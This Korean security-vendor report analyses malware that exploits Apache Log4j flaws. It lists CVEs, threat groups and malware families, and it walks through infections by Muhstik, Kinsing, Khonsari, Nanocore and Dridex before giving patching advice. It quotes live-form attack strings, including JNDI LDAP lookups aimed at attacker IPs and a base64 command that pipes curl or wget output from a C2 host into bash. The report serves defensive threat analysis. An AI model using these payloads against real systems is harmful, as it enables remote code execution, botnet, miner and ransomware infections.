보안정보
전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.
Apache Log4j 취약점을 악용하는 악성코드
2022.02.09
61,487
01. Apache Log4j 취약점의 파급력
2021년 12월 최초로 공개된 Apache Log4j 취약점은 CVE-2021-44228 취약점 보안을 위한 패치 발표 이후 새로운 취약점이 발견되어 공개되는 상황이며 현재까지 신규로 발견된 Apache Log4j 관련 취약점은 총 5개가 공개된 상태이다. Paloalto Networks 자료에 따르면 Apache Log4j 취약점을 이용한 공격 시도가 일간 최대 1,000만 건 이상 발생하고 있으며 공격에 사용된 콜백(Callback) URL 분석 결과 특정 도메인(nessus[.]org 등) 또는 공격자가 원하는 C2로 시도하는 횟수 역시 1,000만 건 이상 발생하고 있다.
일반적으로 공격자는 제작한 악성코드 유포를 위해 제로데이 취약점이나 최근에 PoC (Proof of Concept) 코드가 공개된 취약점을 이용한다. 악성코드 탐지를 최대한 지연시키는 전략을 사용할 수 있으나 영향도가 심각한 취약점을 악용하여 악성코드를 삽입하거나 시스템 명령어 실행 등 공격자가 원하는 행위를 할 수 있다. 현재 CVSS(Common Vulnerability Scoring System) 10.0점 만점인 CVE-2021-44228 취약점의 경우 해당 취약점을 악용한 공격이 성공했을 때 영향도는 가장 심각하다.
이번 호에서는 Apache Log4j 취약점이 최초로 발표된 2021년 12월부터 해당 취약점을 악용한 악성코드 및 악용을 시도하는 공격그룹에 대해 수집한 정보를 바탕으로 공격그룹이 해당 취약점을 악용하는 방식과 악성코드 유포에 어떻게 사용하는지에 대해 알아보려 한다.
[그림 1] 일별 Apache Log4j 취약점 스캔 횟수 (출처: Paloalto Networks)
02. Apache Log4j 취약점 개요 및 악용사례
1) Apache Log4j 취약점
Apache Log4j 취약점을 악용한 공격 시도를 알아보기 전 Apache Log4j 관련 주요 취약점을 정리하였다. 2021/12/10 NVD에 최초로 등록된 CVE-2021-44228 이전에 확인된 취약점은 총 2종이며 이후 최신 업데이트 버전인 2.17.1로 업데이트가 진행되는 동안 5개의 취약점이 추가로 확인되어 총 7종으로 확인된다. 이번 호는 Apache Log4j 취약점을 악용한 유포 방식에 대해 알아보기 위해 각각의 취약점에 대한 내용은 간단하게 압축하여 [표 1]에 작성하였다.
CVE |
등록일자 |
영향받는 버전 |
내용 |
CVE-2017-5645 |
2017/04/17 |
Apache Log4j 2.8.2 이하 |
로그 역직렬화 과정에서 발생되는 원격코드 실행 취약점 |
CVE-2019-17571 |
2019/12/13 |
Apache
Log4j |
SocketServer의 SocketNode 클래스를 이용하여 임의명령 실행 가능한 취약점 |
CVE-2021-44228 |
2021/12/10 |
Apache
Log4j2 2.0 2.13.0 ~ 2.15.0 |
JNDI(Java Naming and Directory Interface)를 이용하여 LDAP, RMI, DNS 요청 시 발생되는 원격코드 실행 취약점 |
CVE-2021-45046 |
2021/12/14 |
로깅 구성이 Context Lookup과 함께 기본이 아닌 Pattern Layout(예: ${ctx:loginId})을 사용하는 경우 JNDI Lookup 진행 시 발생되는 원격코드 취약점 |
|
CVE-2021-4104 |
2021/12/14 |
Apache Log4j 1.2.x |
로그 메시지를 통한 원격코드 실행 취약점 - JMSAppender 기능을 사용하는 경우에만 발생 |
CVE-2021-45105 |
2021/12/18 |
Apache
Log4j 2.0 (2.12.3 버전 제외) |
로깅 구성이 Context Lookup과 함께 기본이 아닌 Pattern Layout(예: ${ctx:loginId})을 사용하는 경우 재귀 조회가 포함된 악의적인 입력 데이터를 만들어 서비스 거부 취약점 |
CVE-2021-44832 |
2021/12/28 |
Apache
Log4j 2.0 (2.3.2 및 2.12.4 제외) |
로깅 구성 파일 수정 권한이 있는 공격자가 원격 코드를 실행할 수 있는 JNDI URI를 참조하는 데이터 소스와 함께 JDBC Appender를 사용하는 악성 구성을 생성 가능한 원격코드 실행 취약점 |
[표 1] Apache Log4j 취약점 목록
2) 공격이력 요약
Apache Log4j 취약점 중 CVE-2021-44228이 최초 공개된 2021년 12월 10일 이후 공격자들이 악성 파일 배포를 위해 악용 가능한 최고의 취약점이 되었으며 HAFNIUM (하프늄), PHOSPHORUS(포스퍼러스) 등 다수의 공격그룹 및 악성코드가 이미 Apache Log4j 취약점을 악용하여 공격을 시도하고 있다. Apache Log4j 취약점을 악용하거나 악용목적으로 테스트를 진행하고 있는 공격그룹은 [표 2]와 같다.
공격그룹 |
국가 |
최초 발견시점 |
내용 |
HAFNIUM |
중국 |
2021 |
DNS 서비스를 활용한 Apache Log4j 취약점 테스트 시도 |
PHOSPHORUS |
이란 |
2014 |
Apache Log4j 취약점을 이용한 랜섬웨어 유포 시도 |
Wizard Spider |
러시아 |
2016 |
Conti 랜섬웨어 유포 목적으로 Apache Log4j 취약점을 이용하여 VMware vCenter Server 접근 후 가상머신 암호화 |
EvilCorp |
러시아 |
2014 |
Apache Log4j 취약점을 이용하여 Dridex 인포스틸러 유포 시도 |
[표 2] Apache Log4j 취약점 악용 시도 공격그룹
2021년 12월 10일 이후 Apache Log4j 취약점을 악용한 악성코드의 정보를 수집하였으며 해당 취약점을 악용하는 악성코드의 목록은 [표 3]과 같다.
NO |
구분 |
내용 |
1 |
봇넷 (Botnet) |
Muhstik(무스틱), Mirai(미라이) |
2 |
암호화폐 채굴 (Miner) |
Kinsing(XMR), m8220(XMR), SRBMiner(XMR 외 다수), XMRig(XMR) |
3 |
랜섬웨어 (Ransomware) |
Khonsari(콘사리), TellYouThePass |
4 |
DDoS |
Elknot(엘크놋) |
5 |
원격제어 (RAT) |
Orcus(오르쿠스), Nanocore(나노코어) |
6 |
인포스틸러 (Infostealer) |
Dridex(드라이덱스) |
[표 3] Apache Log4j 취약점 악용 시도 악성코드 목록
03. Apache Log4j 취약점 악용 CASE 분석
1) 봇넷, DDoS : Muhstik
Muhstik 봇넷은 2018년에 최초로 발견되었으며 Miral 봇넷 소스코드를 수정하여 제작하였다. 최초로 발견된 샘플은 봇넷 유포를 위해 Drupal 취약점인 CVE-2018-7600을 악용하여 유포하였으며 C2와 통신에 9090 포트를 사용한다. 봇넷과의 통신 및 명령 전달에 IRC 프로토콜을 이용하며 공격자의 입맛에 따라 XMR 채굴 프로그램인 XMRig를 추가로 설치 가능하며 DDoS 공격 실행에 가능한 코드도 포함된 것으로 알려져 있다. 최근 Apache Log4j 취약점을 악용하여 유포를 시도하고 있어 해당 방식을 이용하여 감염시키는 방식에 대해 알아보려 한다.
파일명 |
MD5 |
Exploit.class |
95d9a068529dd2ea4bb4bef644f5c4f5 |
Log |
f14019c55e7ce19d93838a4b2f6aec12 |
pty4 |
3430139e131617957d8c6aa48002ddac |
[표 4] 분석에 사용된 파일 정보
유포에 사용된 공격 구문 확인 시 CVE-2021-44228을 악용하여 Java 클래스 파일 요청 및 실행을 시도한다.
구분 |
내용 |
공격 구문 |
${jndi:ldap://45.130.229.168:9999/Exploit.class} |
[표 5] Muhstik 봇넷이 취약점을 악용한 공격 예시
Java 클래스 파일 확인 시 C2에서 쉘 스크립트 다운로드 후 실행을 시도하며 쉘 스크립트 실행 시 Muhstik 봇넷 관련 악성코드 다운로드 및 실행을 시도한다.
[그림 2] Muhstik 봇넷 설치를 위한 파일 실행 시도
확보 가능한 Muhstik 봇넷 샘플 확인 시 공격자가 사용 가능한 명령어 내용 확인 가능하며 봇넷 기능에 DDoS 공격 기능이 추가된 형태로 파악된다.
[그림 3] Muhstik 봇넷이 사용하는 명령어의 일부
2) 암호화폐 채굴 : Kinsing Malware
Kinsing Malware는 Go 언어로 컴파일되었으며 주로 도커(Docker) 대상으로 잘못 설정된 API 포트 구성을 악용하여 악성코드를 유포하는 것으로 알려져 있다. CVE-2021-44228이 최초로 확인된 12월 12일 이전부터 CVE-2021-44228을 악용한 쉘 스크립트 실행 시도로 유포방식이 변화한 것을 확인하였다. Kinsing Malware는 기본적으로 공격자가 원하는 악성코드를 다운로드 후 실행시키는 악성코드지만 현재는 채굴 관련 악성코드 유포에 주로 사용되어 있어 CVE-2021-44228 취약점을 악용하여 감염시키는 방식에 대해 알아보려 한다.
파일명 |
MD5 |
Kinsing |
3dfbe75871e218d08328a01c56e1bb42 |
[표 6] 분석에 사용된 파일 정보
유포에 사용된 공격 구문 확인 시 CVE-2021-44228을 악용하여 쉘 스크립트 다운로드 및 실행을 시도한다.
구분 |
내용 |
공격 구문 |
${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1 LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4x NTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK} |
BASE64 |
(curl -s 45.155.205[.]233[:]5874/[피해자 IP]:[피해자 port]||wget -q -O- 45.155.205[.]233[:]5874/ [피해자 IP]:[피해자 port])|bash |
[표 7] Kinsing Malware가 취약점을 악용한 공격 예시
쉘 스크립트 내용 확인 시 해당 공격 이전에 설치된 암호화폐 채굴기를 검색하며 존재하는 경우 프로세스 종료 및 삭제를 시도한다.
[그림 4] 이전에 설치된 채굴관련 프로세스 종료 및 삭제시도
모든 조건이 충족할 경우 공격자가 설정한 C2에 접속하여 채굴 관련 파일 다운로드를 시도한다.
[그림 5] 공격자가 미리 설정한 C2 접근 시도
다운로드 성공한 파일은 /tmp 하위에 저장되며 파일 실행 이후 채굴을 위한 설정 이후 채굴 작업을 진행한다.
[그림 6] 채굴 관련 설정 내용의 일부
3) 랜섬웨어 : Khonsari
기존의 랜섬웨어의 유포방식은 이메일의 첨부파일, 블로그 내 자바스크립트 삽입을 통한 파일 다운로드 시도 또는 현재 유행하는 OS, 프로그램 취약점을 이용하는 것으로 알려져 있다. 그 중 Khonsari 랜섬웨어는 2021년 12월 11일부터 Apache Log4j 원격코드 취약점을 악용하는 방식으로 빠르게 업데이트하여 유포하고 있다. 공격자 입장에서 범죄 수익 극대화를 위한 방식으로 최신 취약점을 악용한 것으로 보여 Khonsari 랜섬웨어가 해당 취약점을 악용하여 유포하는 방식에 대해 알아보려 한다.
파일명 |
MD5 |
Main.class |
4c62aec7ade8c9d8f12affd490745620 |
Groenhuyzen.exe |
6ac57a1e090e7abdb9b7212e058c43c6 |
[표 8] 분석에 사용된 파일 정보
CVE-2021-44228 취약점을 이용하여 Main.class 파일 요청을 시도하며 요청 성공 시 Khonsari 랜섬웨어 실행 파일인 groenhuyzen.exe를 다운로드 후 실행한다.
구분 |
내용 |
취약점 공격 시 사용되는 C2 |
hxxp://3.145.115[.]94/Main.class |
공격 성공 이후 다운로드 시도하는 파일 경로 |
hxxp://3.145.115[.]94/zambo/groenhuyzen.exe |
[표 9] Khonsari 랜섬웨어가 취약점을 악용한 공격 예시
파일 암호화 진행 시 .ini, .lnk 확장자를 사용하는 파일은 제외하며 [표 6]과 같은 조건에 따라 파일 암호화를 진행한다.
구분 |
내용 |
C 드라이브 |
C:Users<사용자 계정>Documents C:Users<사용자 계정>Videos C:Users<사용자 계정>Pictures C:Users<사용자 계정>Downloads C:Users<사용자 계정>Desktop 폴더 하위 파일만 암호화 |
나머지 드라이브 |
전체 파일 암호화 |
[표 10] Khonsari 랜섬웨어의 파일 암호화 조건
[그림 7] Khonsari 랜섬웨어의 파일 암호화 조건
파일 암호화 시작 이전에 C2로 txt 파일 요청 시도를 확인되나 실제 요청 시 0KB 응답만 확인된다.
[그림 8] 공격자가 설정한 C2로 접근 시도
파일 암호화가 진행 완료된 파일은 .khonsari 확장자로 변경되며 암호화 완료 시 생성된 랜섬노트를 확인 가능하다.
[그림 9] 파일 암호화 완료 시의 화면
4) 원격제어 (RAT) : Nanocore
Nanocore는 .NET 기반으로 제작된 RAT 유형의 악성코드로 2013년에 최초로 발견되었다. 공격자는 모듈화 된 기능을 이용하여 정보 탈취를 시도하며 C2에서 암호화된 명령을 전송한다. Nanocore가 설치된 PC는 C2에서 전송된 명령을 기반으로 키로깅 ,계정 및 PC 정보 수집, 마이크를 이용한 녹음, DDoS, 웹캠 제어를 통해 수집된 정보를 C2로 전송하는 기능을 보유하고 있다. 최근 업데이트된 Nanocore의 유포방식은 Apache Log4j 취약점을 악용하여 유포를 시도하고 있어 해당 방식에 대해 알아보려 한다.
파일명 |
MD5 |
a.exe |
54FCCF779C1611FE486A5C232F32F4D2 |
[표 11] 분석에 사용된 파일 정보
유포중인 Java 클래스 파일 확인 결과 C2에서 Nanocore 파일을 다운로드 받아 사용자 AppData 폴더에 저장 후 실행하는 것으로 확인된다.
[그림 10] 유포중인 Java 클래스 파일 내용
C2에서 다운로드 받은 파일 확인 시 정상적이지 않은 파일로 보여졌으나 추가적으로 확인 결과 상용 패커인 Themida를 이용하여 해당 파일을 패킹한 것으로 확인된다.
[그림 11] C2에서 다운로드 받은 파일 정보
패킹된 악성코드의 일부를 언패킹하여 확인한 결과 C2에서 수신된 명령코드를 이용하여 감염된 PC의 정보 수집한 후 storage.dat등 다수의 파일에 저장한다. 이후 C2에서 해당 파일 요청 시 전송을 시도하는 것으로 확인된다.
[그림 12] Nanocore가 수행 가능한 기능 중 일부
5) 인포스틸러 : Dridex
Dridex는 TA505 또는 EvilCorp로 불리는 공격그룹이 제작하였으며 은행 또는 사용자 정보 탈취를 목표로 제작된 트로이목마로 2014년에 최초로 등장하였다. 미국 재무부는 2019년 12월까지 Dridex가 40개국 이상에서 수백 개의 은행과 금융 기관 소유 컴퓨터를 감염시켰으며, 이로 인해 1억 달러 이상의 절도가 있었다고 추정하고 있다. 기존의 Dridex 배포 방식은 명세서, 견적서 등 위장한 문서 내부에 악성 매크로를 추가한 문서파일을 메일에 첨부하여 전송하며 해당 메일의 첨부파일을 실행할 시 악성 매크로가 실행되어 Dridex 트로이목마가 설치되는 방식을 주로 사용한다. 최근 업데이트된 Dridex의 유포방식은 Apache Log4j 취약점을 악용하여 유포를 시도하고 있어 해당 방식에 대해 알아보려 한다.
파일명 |
MD5 |
Binary |
9faf1dbcb4942cf3e3578414402180ed |
hta |
A8B4692B81EBF2F5629C125508F52B9E |
[표 12] 분석에 사용된 파일 정보
[그림 13]과 같이 Apache Log4j 취약점을 악용하여 공격자가 미리 업로드한 Java 클래스 파일을 요청한다.
[그림 13] Dridex가 취약점을 악용한 공격 예시
[그림 13]과 같이 Apache Log4j 취약점을 악용하여 공격자가 미리 업로드한 Java 클래스 파일을 요청한다.
구분 |
내용 |
HTA 파일 다운로드 성공 |
사용자 운영체제를 Windows로 판단 |
HTA 파일 다운로드 실패 |
사용자 운영체제를 UNIX 또는 LINUX로 판단 |
[표 13] HTA 파일 다운로드 성공 여부를 기준으로 한 운영체제 판단
[그림 14] 공격자가 미리 설정한 C2 주소 목록
HTA 파일 다운로드에 실패한 경우 curl을 이용하여 Python 코드가 담긴 파일 다운로드를 시도한다.
[그림 15] HTA 파일 다운로드 실패 시 조건
다운로드 성공 시 저장되는 HTA 파일 확인 시 VBS 파일을 C:ProgramData 하위에 생성 후 VBS 파일을 실행한다.
[그림 16] 특정 경로에 VBS 파일 생성 시도
저장된 VBS 파일 확인결과 C2에서 파일 다운로드를 진행하며 rundll32 또는 regsvr32를 이용하여 Dridex 트로이목마 실행을 시도한다.
[그림 17] 특정 경로에 생성된 VBS 파일 내용의 일부
HTA 파일 다운로드 실패 시 Python 코드가 담긴 파일을 다운로드하며 base64 디코딩 결과 리버스 쉘 사용을 목적으로 Meterpreter 설치하는 데이터가 포함된 것으로 확인된다.
[그림 18] HTA 파일 다운로드 실패 시 다운로드 되는 Python 코드의 일부
04. 마무리
지금까지 Apache Log4j 취약점을 악용하는 악성코드를 분류하였고 그중 5종의 악성코드를 분석하여 어떻게 해당 취약점을 악용하는지, 그리고 악용된 악성코드의 행위에 대해 알아보았다. 분석된 악성코드는 해당 취약점의 최초 공개를 기점으로 만들어진 것이 아니며 이전부터 활발하게 활동 중인 악성코드들로 확인된다. 해당 악성코드가 이미 사용 중인 유포방식에 Apache Log4j 취약점들을 악용하는 방식을 추가하여 유포하고 있으며 공격자들은 최신 취약점 중 파급력이 높거나 발표된 지 얼마 지나지 않은 취약점을 악용하여 유포에 사용하는 것으로 보인다.
공격자들은 취약점 악용을 통한 악성코드 설치가 주목적으로 취약점 및 악성코드 대응이 동시에 필요하기에 몇 가지 대응 방안을 제시하고 마무리하려 한다.
1) 최신 업데이트 설치 및 모니터링 강화
취약점에 대응하는 방법 중 가장 확실한 방법은 해당 취약점을 수정한 최신 업데이트 설치이다. 비교적 최근에 발견되면서 파급력이 높은 취약점의 경우 업데이트 설치가 늦어질수록 취약성 스캔에 탐지된 서버는 공격자의 먹이가 될 가능성이 매우 높다. 이를 방지하기 위해서는 최신 업데이트 설치는 빠르게 진행되어야 한다.
하지만, 사용 중인 솔루션 호환성 또는 내부 사정으로 인해 최신 업데이트 설치가 불가능한 경우 제조사가 제시한 완화 정책을 우선 적용하여야 하며, IPS/WAF 장비에 스캔성 공격에 대한 탐지패턴 추가, 미사용 포트에 대한 주기적인 모니터링, 백신 솔루션의 랜섬웨어 탐지기능 활성화를 통해 취약점 스캔에 대한 대비 및 악성코드 설치 시 빠른 대응이 가능할 것이다.
2) 사용자 대응방안
이번 Apache Log4j 취약점은 대부분 서버를 대상인 경우가 많지만, 해당 취약점이 존재하는 Minecraft 서버처럼 일반 사용자 PC에서 서버 생성이 가능한 경우나 일반 사용자 PC에서 Apache Log4j를 사용하여 서비스 오픈 시 취약점 악용 가능한 경우도 존재할 수 있다. 이 경우도 마찬가지로 취약한 프로그램에 대한 최신 업데이트 설치는 필수로 진행해야 한다.
일반적으로 사용자 PC는 취약점을 악용하여 공격하기보단 피싱, 스미싱 등을 이용하여 사용자를 현혹하거나 특정 프로그램 설치 시 내부에 삽입된 악성코드가 설치되는 방식이 이용되고 있다. 이러한 상황을 방지하기 위해 의심스러운 이메일 수신 시 열람 금지 및 즉시 삭제, 공식 홈페이지에서 제공되지 않은 프로그램 설치 금지 등을 통한 악성코드 설치가 되지 않도록 하는 습관을 들이는 것이 중요하다.
05. 참고자료
1) Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
2) Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild
https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
3) Analysis of Novel Khonsari Ransomware Deployed by the Log4Shell Vulnerability
https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/
4) Critical Log4Shell (Apache Log4j) Zero-Day Attack Analysis
https://www.nozominetworks.com/blog/critical-log4shell-apache-log4j-zero-day-attack-analysis/
5) Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation
6) Log4j vulnerability now used to install Dridex banking malware
7) Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)
https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/